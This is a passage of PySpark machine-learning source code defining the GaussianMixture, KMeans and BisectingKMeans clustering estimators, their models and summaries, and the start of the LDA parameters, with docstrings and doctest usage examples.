\"\"\"\n return self._call_java(\"predictProbability\", value)\n\n\n@inherit_doc\nclass GaussianMixture(\n JavaEstimator[GaussianMixtureModel],\n _GaussianMixtureParams,\n JavaMLWritable,\n JavaMLReadable[\"GaussianMixture\"],\n):\n \"\"\"\n GaussianMixture clustering.\n This class performs expectation maximization for multivariate Gaussian\n Mixture Models (GMMs). A GMM represents a composite distribution of\n independent Gaussian distributions with associated \"mixing\" weights\n specifying each's contribution to the composite.\n\n Given a set of sample points, this class will maximize the log-likelihood\n for a mixture of k Gaussians, iterating until the log-likelihood changes by\n less than convergenceTol, or until it has reached the max number of iterations.\n While this process is generally guaranteed to converge, it is not guaranteed\n to find a global optimum.\n\n .. versionadded:: 2.0.0\n\n Notes\n -----\n For high-dimensional data (with many features), this algorithm may perform poorly.\n This is due to high-dimensional data (a) making it difficult to cluster at all\n (based on statistical/theoretical arguments) and (b) numerical issues with\n Gaussian distributions.\n\n Examples\n --------\n >>> from pyspark.ml.linalg import Vectors\n\n >>> data = [(Vectors.dense([-0.1, -0.05 ]),),\n ... (Vectors.dense([-0.01, -0.1]),),\n ... (Vectors.dense([0.9, 0.8]),),\n ... (Vectors.dense([0.75, 0.935]),),\n ... (Vectors.dense([-0.83, -0.68]),),\n ... (Vectors.dense([-0.91, -0.76]),)]\n >>> df = spark.createDataFrame(data, [\"features\"])\n >>> gm = GaussianMixture(k=3, tol=0.0001, seed=10)\n >>> gm.getMaxIter()\n 100\n >>> gm.setMaxIter(30)\n GaussianMixture...\n >>> gm.getMaxIter()\n 30\n >>> model = gm.fit(df)\n >>> model.getAggregationDepth()\n 2\n >>> model.getFeaturesCol()\n 'features'\n >>> model.setPredictionCol(\"newPrediction\")\n GaussianMixtureModel...\n >>> model.predict(df.head().features)\n 2\n >>> model.predictProbability(df.head().features)\n DenseVector([0.0, 0.0, 1.0])\n >>> model.hasSummary\n True\n >>> summary = model.summary\n >>> summary.k\n 3\n >>> summary.clusterSizes\n [2, 2, 2]\n >>> weights = model.weights\n >>> len(weights)\n 3\n >>> gaussians = model.gaussians\n >>> len(gaussians)\n 3\n >>> gaussians[0].mean\n DenseVector([0.825, 0.8675])\n >>> gaussians[0].cov\n DenseMatrix(2, 2, [0.0056, -0.0051, -0.0051, 0.0046], 0)\n >>> gaussians[1].mean\n DenseVector([-0.87, -0.72])\n >>> gaussians[1].cov\n DenseMatrix(2, 2, [0.0016, 0.0016, 0.0016, 0.0016], 0)\n >>> gaussians[2].mean\n DenseVector([-0.055, -0.075])\n >>> gaussians[2].cov\n DenseMatrix(2, 2, [0.002, -0.0011, -0.0011, 0.0006], 0)\n >>> model.gaussiansDF.select(\"mean\").head()\n Row(mean=DenseVector([0.825, 0.8675]))\n >>> model.gaussiansDF.select(\"cov\").head()\n Row(cov=DenseMatrix(2, 2, [0.0056, -0.0051, -0.0051, 0.0046], False))\n >>> transformed = model.transform(df).select(\"features\", \"newPrediction\")\n >>> rows = transformed.collect()\n >>> rows[4].newPrediction == rows[5].newPrediction\n True\n >>> rows[2].newPrediction == rows[3].newPrediction\n True\n >>> gmm_path = temp_path + \"/gmm\"\n >>> gm.save(gmm_path)\n >>> gm2 = GaussianMixture.load(gmm_path)\n >>> gm2.getK()\n 3\n >>> model_path = temp_path + \"/gmm_model\"\n >>> model.save(model_path)\n >>> model2 = GaussianMixtureModel.load(model_path)\n >>> model2.hasSummary\n False\n >>> model2.weights == model.weights\n True\n >>> model2.gaussians[0].mean == model.gaussians[0].mean\n True\n >>> model2.gaussians[0].cov == model.gaussians[0].cov\n True\n >>> model2.gaussians[1].mean == model.gaussians[1].mean\n True\n >>> model2.gaussians[1].cov == model.gaussians[1].cov\n True\n >>> model2.gaussians[2].mean == model.gaussians[2].mean\n True\n >>> model2.gaussians[2].cov == model.gaussians[2].cov\n True\n >>> model2.gaussiansDF.select(\"mean\").head()\n Row(mean=DenseVector([0.825, 0.8675]))\n >>> model2.gaussiansDF.select(\"cov\").head()\n Row(cov=DenseMatrix(2, 2, [0.0056, -0.0051, -0.0051, 0.0046], False))\n >>> model.transform(df).take(1) == model2.transform(df).take(1)\n True\n >>> gm2.setWeightCol(\"weight\")\n GaussianMixture...\n \"\"\"\n\n _input_kwargs: Dict[str, Any]\n\n @keyword_only\n def __init__(\n self,\n *,\n featuresCol: str = \"features\",\n predictionCol: str = \"prediction\",\n k: int = 2,\n probabilityCol: str = \"probability\",\n tol: float = 0.01,\n maxIter: int = 100,\n seed: Optional[int] = None,\n aggregationDepth: int = 2,\n weightCol: Optional[str] = None,\n ):\n \"\"\"\n __init__(self, \\\\*, featuresCol=\"features\", predictionCol=\"prediction\", k=2, \\\n probabilityCol=\"probability\", tol=0.01, maxIter=100, seed=None, \\\n aggregationDepth=2, weightCol=None)\n \"\"\"\n super(GaussianMixture, self).__init__()\n self._java_obj = self._new_java_obj(\n \"org.apache.spark.ml.clustering.GaussianMixture\", self.uid\n )\n kwargs = self._input_kwargs\n self.setParams(**kwargs)\n\n def _create_model(self, java_model: \"JavaObject\") -> \"GaussianMixtureModel\":\n return GaussianMixtureModel(java_model)\n\n @keyword_only\n @since(\"2.0.0\")\n def setParams(\n self,\n *,\n featuresCol: str = \"features\",\n predictionCol: str = \"prediction\",\n k: int = 2,\n probabilityCol: str = \"probability\",\n tol: float = 0.01,\n maxIter: int = 100,\n seed: Optional[int] = None,\n aggregationDepth: int = 2,\n weightCol: Optional[str] = None,\n ) -> \"GaussianMixture\":\n \"\"\"\n setParams(self, \\\\*, featuresCol=\"features\", predictionCol=\"prediction\", k=2, \\\n probabilityCol=\"probability\", tol=0.01, maxIter=100, seed=None, \\\n aggregationDepth=2, weightCol=None)\n\n Sets params for GaussianMixture.\n \"\"\"\n kwargs = self._input_kwargs\n return self._set(**kwargs)\n\n @since(\"2.0.0\")\n def setK(self, value: int) -> \"GaussianMixture\":\n \"\"\"\n Sets the value of :py:attr:`k`.\n \"\"\"\n return self._set(k=value)\n\n @since(\"2.0.0\")\n def setMaxIter(self, value: int) -> \"GaussianMixture\":\n \"\"\"\n Sets the value of :py:attr:`maxIter`.\n \"\"\"\n return self._set(maxIter=value)\n\n @since(\"2.0.0\")\n def setFeaturesCol(self, value: str) -> \"GaussianMixture\":\n \"\"\"\n Sets the value of :py:attr:`featuresCol`.\n \"\"\"\n return self._set(featuresCol=value)\n\n @since(\"2.0.0\")\n def setPredictionCol(self, value: str) -> \"GaussianMixture\":\n \"\"\"\n Sets the value of :py:attr:`predictionCol`.\n \"\"\"\n return self._set(predictionCol=value)\n\n @since(\"2.0.0\")\n def setProbabilityCol(self, value: str) -> \"GaussianMixture\":\n \"\"\"\n Sets the value of :py:attr:`probabilityCol`.\n \"\"\"\n return self._set(probabilityCol=value)\n\n @since(\"3.0.0\")\n def setWeightCol(self, value: str) -> \"GaussianMixture\":\n \"\"\"\n Sets the value of :py:attr:`weightCol`.\n \"\"\"\n return self._set(weightCol=value)\n\n @since(\"2.0.0\")\n def setSeed(self, value: int) -> \"GaussianMixture\":\n \"\"\"\n Sets the value of :py:attr:`seed`.\n \"\"\"\n return self._set(seed=value)\n\n @since(\"2.0.0\")\n def setTol(self, value: float) -> \"GaussianMixture\":\n \"\"\"\n Sets the value of :py:attr:`tol`.\n \"\"\"\n return self._set(tol=value)\n\n @since(\"3.0.0\")\n def setAggregationDepth(self, value: int) -> \"GaussianMixture\":\n \"\"\"\n Sets the value of :py:attr:`aggregationDepth`.\n \"\"\"\n return self._set(aggregationDepth=value)\n\n\nclass GaussianMixtureSummary(ClusteringSummary):\n \"\"\"\n Gaussian mixture clustering results for a given model.\n\n .. versionadded:: 2.1.0\n \"\"\"\n\n @property\n @since(\"2.1.0\")\n def probabilityCol(self) -> str:\n \"\"\"\n Name for column of predicted probability of each cluster in `predictions`.\n \"\"\"\n return self._call_java(\"probabilityCol\")\n\n @property\n @since(\"2.1.0\")\n def probability(self) -> DataFrame:\n \"\"\"\n DataFrame of probabilities of each cluster for each training data point.\n \"\"\"\n return self._call_java(\"probability\")\n\n @property\n @since(\"2.2.0\")\n def logLikelihood(self) -> float:\n \"\"\"\n Total log-likelihood for this model on the given data.\n \"\"\"\n return self._call_java(\"logLikelihood\")\n\n\nclass KMeansSummary(ClusteringSummary):\n \"\"\"\n Summary of KMeans.\n\n .. versionadded:: 2.1.0\n \"\"\"\n\n @property\n @since(\"2.4.0\")\n def trainingCost(self) -> float:\n \"\"\"\n K-means cost (sum of squared distances to the nearest centroid for all points in the\n training dataset). This is equivalent to sklearn's inertia.\n \"\"\"\n return self._call_java(\"trainingCost\")\n\n\n@inherit_doc\nclass _KMeansParams(\n HasMaxIter,\n HasFeaturesCol,\n HasSeed,\n HasPredictionCol,\n HasTol,\n HasDistanceMeasure,\n HasWeightCol,\n HasSolver,\n HasMaxBlockSizeInMB,\n):\n \"\"\"\n Params for :py:class:`KMeans` and :py:class:`KMeansModel`.\n\n .. versionadded:: 3.0.0\n \"\"\"\n\n k: Param[int] = Param(\n Params._dummy(),\n \"k\",\n \"The number of clusters to create. Must be > 1.\",\n typeConverter=TypeConverters.toInt,\n )\n initMode: Param[str] = Param(\n Params._dummy(),\n \"initMode\",\n 'The initialization algorithm. This can be either \"random\" to '\n + 'choose random points as initial cluster centers, or \"k-means||\" '\n + \"to use a parallel variant of k-means++\",\n typeConverter=TypeConverters.toString,\n )\n initSteps: Param[int] = Param(\n Params._dummy(),\n \"initSteps\",\n \"The number of steps for k-means|| \" + \"initialization mode. Must be > 0.\",\n typeConverter=TypeConverters.toInt,\n )\n solver: Param[str] = Param(\n Params._dummy(),\n \"solver\",\n \"The solver algorithm for optimization. Supported \" + \"options: auto, row, block.\",\n typeConverter=TypeConverters.toString,\n )\n\n def __init__(self, *args: Any):\n super(_KMeansParams, self).__init__(*args)\n self._setDefault(\n k=2,\n initMode=\"k-means||\",\n initSteps=2,\n tol=1e-4,\n maxIter=20,\n distanceMeasure=\"euclidean\",\n solver=\"auto\",\n maxBlockSizeInMB=0.0,\n )\n\n @since(\"1.5.0\")\n def getK(self) -> int:\n \"\"\"\n Gets the value of `k`\n \"\"\"\n return self.getOrDefault(self.k)\n\n @since(\"1.5.0\")\n def getInitMode(self) -> str:\n \"\"\"\n Gets the value of `initMode`\n \"\"\"\n return self.getOrDefault(self.initMode)\n\n @since(\"1.5.0\")\n def getInitSteps(self) -> int:\n \"\"\"\n Gets the value of `initSteps`\n \"\"\"\n return self.getOrDefault(self.initSteps)\n\n\nclass KMeansModel(\n JavaModel,\n _KMeansParams,\n GeneralJavaMLWritable,\n JavaMLReadable[\"KMeansModel\"],\n HasTrainingSummary[\"KMeansSummary\"],\n):\n \"\"\"\n Model fitted by KMeans.\n\n .. versionadded:: 1.5.0\n \"\"\"\n\n @since(\"3.0.0\")\n def setFeaturesCol(self, value: str) -> \"KMeansModel\":\n \"\"\"\n Sets the value of :py:attr:`featuresCol`.\n \"\"\"\n return self._set(featuresCol=value)\n\n @since(\"3.0.0\")\n def setPredictionCol(self, value: str) -> \"KMeansModel\":\n \"\"\"\n Sets the value of :py:attr:`predictionCol`.\n \"\"\"\n return self._set(predictionCol=value)\n\n @since(\"1.5.0\")\n def clusterCenters(self) -> List[np.ndarray]:\n \"\"\"Get the cluster centers, represented as a list of NumPy arrays.\"\"\"\n return [c.toArray() for c in self._call_java(\"clusterCenters\")]\n\n @property\n @since(\"2.1.0\")\n def summary(self) -> KMeansSummary:\n \"\"\"\n Gets summary (cluster assignments, cluster sizes) of the model trained on the\n training set. An exception is thrown if no summary exists.\n \"\"\"\n if self.hasSummary:\n return KMeansSummary(super(KMeansModel, self).summary)\n else:\n raise RuntimeError(\n \"No training summary available for this %s\" % self.__class__.__name__\n )\n\n @since(\"3.0.0\")\n def predict(self, value: Vector) -> int:\n \"\"\"\n Predict label for the given features.\n \"\"\"\n return self._call_java(\"predict\", value)\n\n\n@inherit_doc\nclass KMeans(JavaEstimator[KMeansModel], _KMeansParams, JavaMLWritable, JavaMLReadable[\"KMeans\"]):\n \"\"\"\n K-means clustering with a k-means++ like initialization mode\n (the k-means|| algorithm by Bahmani et al).\n\n .. versionadded:: 1.5.0\n\n Examples\n --------\n >>> from pyspark.ml.linalg import Vectors\n >>> data = [(Vectors.dense([0.0, 0.0]), 2.0), (Vectors.dense([1.0, 1.0]), 2.0),\n ... (Vectors.dense([9.0, 8.0]), 2.0), (Vectors.dense([8.0, 9.0]), 2.0)]\n >>> df = spark.createDataFrame(data, [\"features\", \"weighCol\"])\n >>> kmeans = KMeans(k=2)\n >>> kmeans.setSeed(1)\n KMeans...\n >>> kmeans.setWeightCol(\"weighCol\")\n KMeans...\n >>> kmeans.setMaxIter(10)\n KMeans...\n >>> kmeans.getMaxIter()\n 10\n >>> kmeans.clear(kmeans.maxIter)\n >>> kmeans.getSolver()\n 'auto'\n >>> model = kmeans.fit(df)\n >>> model.getMaxBlockSizeInMB()\n 0.0\n >>> model.getDistanceMeasure()\n 'euclidean'\n >>> model.setPredictionCol(\"newPrediction\")\n KMeansModel...\n >>> model.predict(df.head().features)\n 0\n >>> centers = model.clusterCenters()\n >>> len(centers)\n 2\n >>> transformed = model.transform(df).select(\"features\", \"newPrediction\")\n >>> rows = transformed.collect()\n >>> rows[0].newPrediction == rows[1].newPrediction\n True\n >>> rows[2].newPrediction == rows[3].newPrediction\n True\n >>> model.hasSummary\n True\n >>> summary = model.summary\n >>> summary.k\n 2\n >>> summary.clusterSizes\n [2, 2]\n >>> summary.trainingCost\n 4.0\n >>> kmeans_path = temp_path + \"/kmeans\"\n >>> kmeans.save(kmeans_path)\n >>> kmeans2 = KMeans.load(kmeans_path)\n >>> kmeans2.getK()\n 2\n >>> model_path = temp_path + \"/kmeans_model\"\n >>> model.save(model_path)\n >>> model2 = KMeansModel.load(model_path)\n >>> model2.hasSummary\n False\n >>> model.clusterCenters()[0] == model2.clusterCenters()[0]\n array([ True, True], dtype=bool)\n >>> model.clusterCenters()[1] == model2.clusterCenters()[1]\n array([ True, True], dtype=bool)\n >>> model.transform(df).take(1) == model2.transform(df).take(1)\n True\n \"\"\"\n\n _input_kwargs: Dict[str, Any]\n\n @keyword_only\n def __init__(\n self,\n *,\n featuresCol: str = \"features\",\n predictionCol: str = \"prediction\",\n k: int = 2,\n initMode: str = \"k-means||\",\n initSteps: int = 2,\n tol: float = 1e-4,\n maxIter: int = 20,\n seed: Optional[int] = None,\n distanceMeasure: str = \"euclidean\",\n weightCol: Optional[str] = None,\n solver: str = \"auto\",\n maxBlockSizeInMB: float = 0.0,\n ):\n \"\"\"\n __init__(self, \\\\*, featuresCol=\"features\", predictionCol=\"prediction\", k=2, \\\n initMode=\"k-means||\", initSteps=2, tol=1e-4, maxIter=20, seed=None, \\\n distanceMeasure=\"euclidean\", weightCol=None, solver=\"auto\", \\\n maxBlockSizeInMB=0.0)\n \"\"\"\n super(KMeans, self).__init__()\n self._java_obj = self._new_java_obj(\"org.apache.spark.ml.clustering.KMeans\", self.uid)\n kwargs = self._input_kwargs\n self.setParams(**kwargs)\n\n def _create_model(self, java_model: \"JavaObject\") -> KMeansModel:\n return KMeansModel(java_model)\n\n @keyword_only\n @since(\"1.5.0\")\n def setParams(\n self,\n *,\n featuresCol: str = \"features\",\n predictionCol: str = \"prediction\",\n k: int = 2,\n initMode: str = \"k-means||\",\n initSteps: int = 2,\n tol: float = 1e-4,\n maxIter: int = 20,\n seed: Optional[int] = None,\n distanceMeasure: str = \"euclidean\",\n weightCol: Optional[str] = None,\n solver: str = \"auto\",\n maxBlockSizeInMB: float = 0.0,\n ) -> \"KMeans\":\n \"\"\"\n setParams(self, \\\\*, featuresCol=\"features\", predictionCol=\"prediction\", k=2, \\\n initMode=\"k-means||\", initSteps=2, tol=1e-4, maxIter=20, seed=None, \\\n distanceMeasure=\"euclidean\", weightCol=None, solver=\"auto\", \\\n maxBlockSizeInMB=0.0)\n\n Sets params for KMeans.\n \"\"\"\n kwargs = self._input_kwargs\n return self._set(**kwargs)\n\n @since(\"1.5.0\")\n def setK(self, value: int) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`k`.\n \"\"\"\n return self._set(k=value)\n\n @since(\"1.5.0\")\n def setInitMode(self, value: str) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`initMode`.\n \"\"\"\n return self._set(initMode=value)\n\n @since(\"1.5.0\")\n def setInitSteps(self, value: int) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`initSteps`.\n \"\"\"\n return self._set(initSteps=value)\n\n @since(\"2.4.0\")\n def setDistanceMeasure(self, value: str) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`distanceMeasure`.\n \"\"\"\n return self._set(distanceMeasure=value)\n\n @since(\"1.5.0\")\n def setMaxIter(self, value: int) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`maxIter`.\n \"\"\"\n return self._set(maxIter=value)\n\n @since(\"1.5.0\")\n def setFeaturesCol(self, value: str) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`featuresCol`.\n \"\"\"\n return self._set(featuresCol=value)\n\n @since(\"1.5.0\")\n def setPredictionCol(self, value: str) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`predictionCol`.\n \"\"\"\n return self._set(predictionCol=value)\n\n @since(\"1.5.0\")\n def setSeed(self, value: int) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`seed`.\n \"\"\"\n return self._set(seed=value)\n\n @since(\"1.5.0\")\n def setTol(self, value: float) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`tol`.\n \"\"\"\n return self._set(tol=value)\n\n @since(\"3.0.0\")\n def setWeightCol(self, value: str) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`weightCol`.\n \"\"\"\n return self._set(weightCol=value)\n\n @since(\"3.4.0\")\n def setSolver(self, value: str) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`solver`.\n \"\"\"\n return self._set(solver=value)\n\n @since(\"3.4.0\")\n def setMaxBlockSizeInMB(self, value: float) -> \"KMeans\":\n \"\"\"\n Sets the value of :py:attr:`maxBlockSizeInMB`.\n \"\"\"\n return self._set(maxBlockSizeInMB=value)\n\n\n@inherit_doc\nclass _BisectingKMeansParams(\n HasMaxIter,\n HasFeaturesCol,\n HasSeed,\n HasPredictionCol,\n HasDistanceMeasure,\n HasWeightCol,\n):\n \"\"\"\n Params for :py:class:`BisectingKMeans` and :py:class:`BisectingKMeansModel`.\n\n .. versionadded:: 3.0.0\n \"\"\"\n\n k: Param[int] = Param(\n Params._dummy(),\n \"k\",\n \"The desired number of leaf clusters. Must be > 1.\",\n typeConverter=TypeConverters.toInt,\n )\n minDivisibleClusterSize: Param[float] = Param(\n Params._dummy(),\n \"minDivisibleClusterSize\",\n \"The minimum number of points (if >= 1.0) or the minimum \"\n + \"proportion of points (if < 1.0) of a divisible cluster.\",\n typeConverter=TypeConverters.toFloat,\n )\n\n def __init__(self, *args: Any):\n super(_BisectingKMeansParams, self).__init__(*args)\n self._setDefault(maxIter=20, k=4, minDivisibleClusterSize=1.0)\n\n @since(\"2.0.0\")\n def getK(self) -> int:\n \"\"\"\n Gets the value of `k` or its default value.\n \"\"\"\n return self.getOrDefault(self.k)\n\n @since(\"2.0.0\")\n def getMinDivisibleClusterSize(self) -> float:\n \"\"\"\n Gets the value of `minDivisibleClusterSize` or its default value.\n \"\"\"\n return self.getOrDefault(self.minDivisibleClusterSize)\n\n\nclass BisectingKMeansModel(\n JavaModel,\n _BisectingKMeansParams,\n JavaMLWritable,\n JavaMLReadable[\"BisectingKMeansModel\"],\n HasTrainingSummary[\"BisectingKMeansSummary\"],\n):\n \"\"\"\n Model fitted by BisectingKMeans.\n\n .. versionadded:: 2.0.0\n \"\"\"\n\n @since(\"3.0.0\")\n def setFeaturesCol(self, value: str) -> \"BisectingKMeansModel\":\n \"\"\"\n Sets the value of :py:attr:`featuresCol`.\n \"\"\"\n return self._set(featuresCol=value)\n\n @since(\"3.0.0\")\n def setPredictionCol(self, value: str) -> \"BisectingKMeansModel\":\n \"\"\"\n Sets the value of :py:attr:`predictionCol`.\n \"\"\"\n return self._set(predictionCol=value)\n\n @since(\"2.0.0\")\n def clusterCenters(self) -> List[np.ndarray]:\n \"\"\"Get the cluster centers, represented as a list of NumPy arrays.\"\"\"\n return [c.toArray() for c in self._call_java(\"clusterCenters\")]\n\n @since(\"2.0.0\")\n def computeCost(self, dataset: DataFrame) -> float:\n \"\"\"\n Computes the sum of squared distances between the input points\n and their corresponding cluster centers.\n\n .. deprecated:: 3.0.0\n It will be removed in future versions. Use :py:class:`ClusteringEvaluator` instead.\n You can also get the cost on the training dataset in the summary.\n \"\"\"\n warnings.warn(\n \"Deprecated in 3.0.0. It will be removed in future versions. Use \"\n \"ClusteringEvaluator instead. You can also get the cost on the training \"\n \"dataset in the summary.\",\n FutureWarning,\n )\n return self._call_java(\"computeCost\", dataset)\n\n @property\n @since(\"2.1.0\")\n def summary(self) -> \"BisectingKMeansSummary\":\n \"\"\"\n Gets summary (cluster assignments, cluster sizes) of the model trained on the\n training set. An exception is thrown if no summary exists.\n \"\"\"\n if self.hasSummary:\n return BisectingKMeansSummary(super(BisectingKMeansModel, self).summary)\n else:\n raise RuntimeError(\n \"No training summary available for this %s\" % self.__class__.__name__\n )\n\n @since(\"3.0.0\")\n def predict(self, value: Vector) -> int:\n \"\"\"\n Predict label for the given features.\n \"\"\"\n return self._call_java(\"predict\", value)\n\n\n@inherit_doc\nclass BisectingKMeans(\n JavaEstimator[BisectingKMeansModel],\n _BisectingKMeansParams,\n JavaMLWritable,\n JavaMLReadable[\"BisectingKMeans\"],\n):\n \"\"\"\n A bisecting k-means algorithm based on the paper \"A comparison of document clustering\n techniques\" by Steinbach, Karypis, and Kumar, with modification to fit Spark.\n The algorithm starts from a single cluster that contains all points.\n Iteratively it finds divisible clusters on the bottom level and bisects each of them using\n k-means, until there are `k` leaf clusters in total or no leaf clusters are divisible.\n The bisecting steps of clusters on the same level are grouped together to increase parallelism.\n If bisecting all divisible clusters on the bottom level would result more than `k` leaf\n clusters, larger clusters get higher priority.\n\n .. versionadded:: 2.0.0\n\n Examples\n --------\n >>> from pyspark.ml.linalg import Vectors\n >>> data = [(Vectors.dense([0.0, 0.0]), 2.0), (Vectors.dense([1.0, 1.0]), 2.0),\n ... (Vectors.dense([9.0, 8.0]), 2.0), (Vectors.dense([8.0, 9.0]), 2.0)]\n >>> df = spark.createDataFrame(data, [\"features\", \"weighCol\"])\n >>> bkm = BisectingKMeans(k=2, minDivisibleClusterSize=1.0)\n >>> bkm.setMaxIter(10)\n BisectingKMeans...\n >>> bkm.getMaxIter()\n 10\n >>> bkm.clear(bkm.maxIter)\n >>> bkm.setSeed(1)\n BisectingKMeans...\n >>> bkm.setWeightCol(\"weighCol\")\n BisectingKMeans...\n >>> bkm.getSeed()\n 1\n >>> bkm.clear(bkm.seed)\n >>> model = bkm.fit(df)\n >>> model.getMaxIter()\n 20\n >>> model.setPredictionCol(\"newPrediction\")\n BisectingKMeansModel...\n >>> model.predict(df.head().features)\n 0\n >>> centers = model.clusterCenters()\n >>> len(centers)\n 2\n >>> model.computeCost(df)\n 2.0\n >>> model.hasSummary\n True\n >>> summary = model.summary\n >>> summary.k\n 2\n >>> summary.clusterSizes\n [2, 2]\n >>> summary.trainingCost\n 4.000...\n >>> transformed = model.transform(df).select(\"features\", \"newPrediction\")\n >>> rows = transformed.collect()\n >>> rows[0].newPrediction == rows[1].newPrediction\n True\n >>> rows[2].newPrediction == rows[3].newPrediction\n True\n >>> bkm_path = temp_path + \"/bkm\"\n >>> bkm.save(bkm_path)\n >>> bkm2 = BisectingKMeans.load(bkm_path)\n >>> bkm2.getK()\n 2\n >>> bkm2.getDistanceMeasure()\n 'euclidean'\n >>> model_path = temp_path + \"/bkm_model\"\n >>> model.save(model_path)\n >>> model2 = BisectingKMeansModel.load(model_path)\n >>> model2.hasSummary\n False\n >>> model.clusterCenters()[0] == model2.clusterCenters()[0]\n array([ True, True], dtype=bool)\n >>> model.clusterCenters()[1] == model2.clusterCenters()[1]\n array([ True, True], dtype=bool)\n >>> model.transform(df).take(1) == model2.transform(df).take(1)\n True\n \"\"\"\n\n _input_kwargs: Dict[str, Any]\n\n @keyword_only\n def __init__(\n self,\n *,\n featuresCol: str = \"features\",\n predictionCol: str = \"prediction\",\n maxIter: int = 20,\n seed: Optional[int] = None,\n k: int = 4,\n minDivisibleClusterSize: float = 1.0,\n distanceMeasure: str = \"euclidean\",\n weightCol: Optional[str] = None,\n ):\n \"\"\"\n __init__(self, \\\\*, featuresCol=\"features\", predictionCol=\"prediction\", maxIter=20, \\\n seed=None, k=4, minDivisibleClusterSize=1.0, distanceMeasure=\"euclidean\", \\\n weightCol=None)\n \"\"\"\n super(BisectingKMeans, self).__init__()\n self._java_obj = self._new_java_obj(\n \"org.apache.spark.ml.clustering.BisectingKMeans\", self.uid\n )\n kwargs = self._input_kwargs\n self.setParams(**kwargs)\n\n @keyword_only\n @since(\"2.0.0\")\n def setParams(\n self,\n *,\n featuresCol: str = \"features\",\n predictionCol: str = \"prediction\",\n maxIter: int = 20,\n seed: Optional[int] = None,\n k: int = 4,\n minDivisibleClusterSize: float = 1.0,\n distanceMeasure: str = \"euclidean\",\n weightCol: Optional[str] = None,\n ) -> \"BisectingKMeans\":\n \"\"\"\n setParams(self, \\\\*, featuresCol=\"features\", predictionCol=\"prediction\", maxIter=20, \\\n seed=None, k=4, minDivisibleClusterSize=1.0, distanceMeasure=\"euclidean\", \\\n weightCol=None)\n Sets params for BisectingKMeans.\n \"\"\"\n kwargs = self._input_kwargs\n return self._set(**kwargs)\n\n @since(\"2.0.0\")\n def setK(self, value: int) -> \"BisectingKMeans\":\n \"\"\"\n Sets the value of :py:attr:`k`.\n \"\"\"\n return self._set(k=value)\n\n @since(\"2.0.0\")\n def setMinDivisibleClusterSize(self, value: float) -> \"BisectingKMeans\":\n \"\"\"\n Sets the value of :py:attr:`minDivisibleClusterSize`.\n \"\"\"\n return self._set(minDivisibleClusterSize=value)\n\n @since(\"2.4.0\")\n def setDistanceMeasure(self, value: str) -> \"BisectingKMeans\":\n \"\"\"\n Sets the value of :py:attr:`distanceMeasure`.\n \"\"\"\n return self._set(distanceMeasure=value)\n\n @since(\"2.0.0\")\n def setMaxIter(self, value: int) -> \"BisectingKMeans\":\n \"\"\"\n Sets the value of :py:attr:`maxIter`.\n \"\"\"\n return self._set(maxIter=value)\n\n @since(\"2.0.0\")\n def setFeaturesCol(self, value: str) -> \"BisectingKMeans\":\n \"\"\"\n Sets the value of :py:attr:`featuresCol`.\n \"\"\"\n return self._set(featuresCol=value)\n\n @since(\"2.0.0\")\n def setPredictionCol(self, value: str) -> \"BisectingKMeans\":\n \"\"\"\n Sets the value of :py:attr:`predictionCol`.\n \"\"\"\n return self._set(predictionCol=value)\n\n @since(\"2.0.0\")\n def setSeed(self, value: int) -> \"BisectingKMeans\":\n \"\"\"\n Sets the value of :py:attr:`seed`.\n \"\"\"\n return self._set(seed=value)\n\n @since(\"3.0.0\")\n def setWeightCol(self, value: str) -> \"BisectingKMeans\":\n \"\"\"\n Sets the value of :py:attr:`weightCol`.\n \"\"\"\n return self._set(weightCol=value)\n\n def _create_model(self, java_model: \"JavaObject\") -> BisectingKMeansModel:\n return BisectingKMeansModel(java_model)\n\n\nclass BisectingKMeansSummary(ClusteringSummary):\n \"\"\"\n Bisecting KMeans clustering results for a given model.\n\n .. versionadded:: 2.1.0\n \"\"\"\n\n @property\n @since(\"3.0.0\")\n def trainingCost(self) -> float:\n \"\"\"\n Sum of squared distances to the nearest centroid for all points in the training dataset.\n This is equivalent to sklearn's inertia.\n \"\"\"\n return self._call_java(\"trainingCost\")\n\n\n@inherit_doc\nclass _LDAParams(HasMaxIter, HasFeaturesCol, HasSeed, HasCheckpointInterval):\n \"\"\"\n Params for :py:class:`LDA` and :py:class:`LDAModel`.\n\n .. versionadded:: 3.0.0\n \"\"\"\n\n k: Param[int] = Param(\n Params._dummy(),\n \"k\",\n \"The number of topics (clusters) to infer. Must be > 1.\",\n typeConverter=TypeConverters.toInt,\n )\n optimizer: Param[str] = Param(\n Params._dummy(),\n \"optimizer\",\n \"Optimizer or inference algorithm used to estimate the LDA model. \"\n \"Supported: online, em\",\n typeConverter=TypeConverters.toString,\n )\n learningOffset: Param[float] = Param(\n Params._dummy(),\n \"learningOffset\",\n \"A (positive) learning parameter that downweights early iterations.\"\n \" Larger values make early iterations count less\",\n typeConverter=TypeConverters.toFloat,\n )\n learningDecay: Param[float] = Param(\n Params._dummy(),\n \"learningDecay\",\n \"Learning rate, set as an\"\n \"exponential decay rate. This should be between (0.5, 1.0] to \"\n \"guarantee asymptotic convergence.\",\n typeConverter=TypeConverters.toFloat,\n )\n subsamplingRate: Param[float] = Param(\n Params._dummy(),\n \"subsamplingRate\",\n \"Fraction of the corpus to be sampled and used in each iteration \"\n \"of mini-batch gradient descent, in range (0, 1].\",\n typeConverter=TypeConverters.toFloat,\n )\n optimizeDocConcentration: Param[bool] = Param(\n Params._dummy(),\n \"optimizeDocConcentration\",\n \"Indicates whether the docConcentration (Dirichlet parameter \"\n \"for document-topic distribution) will be optimized during \"\n \"training.\",\n typeConverter=TypeConverters.toBoolean,\n )\n docConcentration: Param[List[float]] = Param(\n Params._dummy(),\n \"docConcentration\",\n 'Concentration parameter (commonly named \"alpha\") for the '\n 'prior placed on documents\\' distributions over topics (\"theta\").',\n typeConverter=TypeConverters.toListFloat,\n )\n topicConcentration: Param[float] = Param(\n Params._dummy(),\n \"topicConcentration\",\n 'Concentration parameter (commonly named \"beta\" or \"eta\") for '\n \"the prior placed on topic' distributions over terms.\",\n 